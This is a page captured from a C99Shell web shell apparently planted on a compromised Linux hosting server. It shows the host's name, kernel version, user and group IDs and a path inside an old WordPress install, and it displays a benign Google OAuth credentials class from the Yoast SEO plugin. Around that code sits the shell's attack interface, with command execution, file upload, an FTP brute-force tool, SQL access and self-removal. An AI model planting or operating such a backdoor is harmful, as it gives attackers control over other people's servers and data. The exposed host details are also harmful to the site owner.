!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-content/plugins/wordpress-seo/vendor/yoast/api-libs/google/auth/   drwxr-xr-x
Free 181.96 GB of 490.84 GB (37.07%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Google_AssertionCredentials.php (3.03 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 * Copyright 2012 Google Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

/**
 * Credentials object used for OAuth 2.0 Signed JWT assertion grants.
 *
 * @author Chirag Shah <chirags@google.com>
 */
class Yoast_Google_AssertionCredentials {
  const 
MAX_TOKEN_LIFETIME_SECS 3600;

  public 
$serviceAccountName;
  public 
$scopes;
  public 
$privateKey;
  public 
$privateKeyPassword;
  public 
$assertionType;
  public 
$sub;
  
/**
   * @deprecated
   * @link http://tools.ietf.org/html/draft-ietf-oauth-json-web-token-06
   */
  
public $prn;

  
/**
   * @param $serviceAccountName
   * @param $scopes array List of scopes
   * @param $privateKey
   * @param string $privateKeyPassword
   * @param string $assertionType
   * @param bool|string $sub The email address of the user for which the
   *               application is requesting delegated access.
   */
  
public function __construct(
      
$serviceAccountName,
      
$scopes,
      
$privateKey,
      
$privateKeyPassword 'notasecret',
      
$assertionType 'http://oauth.net/grant_type/jwt/1.0/bearer',
      
$sub false) {
    
$this->serviceAccountName $serviceAccountName;
    
$this->scopes is_string($scopes) ? $scopes implode(' '$scopes);
    
$this->privateKey $privateKey;
    
$this->privateKeyPassword $privateKeyPassword;
    
$this->assertionType $assertionType;
    
$this->sub $sub;
    
$this->prn $sub;
  }

  public function 
generateAssertion() {
    
$now time();

    
$jwtParams = array(
          
'aud' => Yoast_Google_OAuth2::OAUTH2_TOKEN_URI,
          
'scope' => $this->scopes,
          
'iat' => $now,
          
'exp' => $now self::MAX_TOKEN_LIFETIME_SECS,
          
'iss' => $this->serviceAccountName,
    );

    if (
$this->sub !== false) {
      
$jwtParams['sub'] = $this->sub;
    } else if (
$this->prn !== false) {
      
$jwtParams['prn'] = $this->prn;
    }

    return 
$this->makeSignedJwt($jwtParams);
  }

  
/**
   * Creates a signed JWT.
   * @param array $payload
   * @return string The signed JWT.
   */
  
private function makeSignedJwt($payload) {
    
$header = array('typ' => 'JWT''alg' => 'RS256');

    
$segments = array(
        
Yoast_Google_Utils::urlSafeB64Encode(json_encode($header)),
        
Yoast_Google_Utils::urlSafeB64Encode(json_encode($payload))
    );

    
$signingInput implode('.'$segments);
    
$signer = new Yoast_Google_P12Signer($this->privateKey$this->privateKeyPassword);
    
$signature $signer->sign($signingInput);
    
$segments[] = Yoast_Google_Utils::urlSafeB64Encode($signature);

    return 
implode("."$segments);
  }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0078 ]--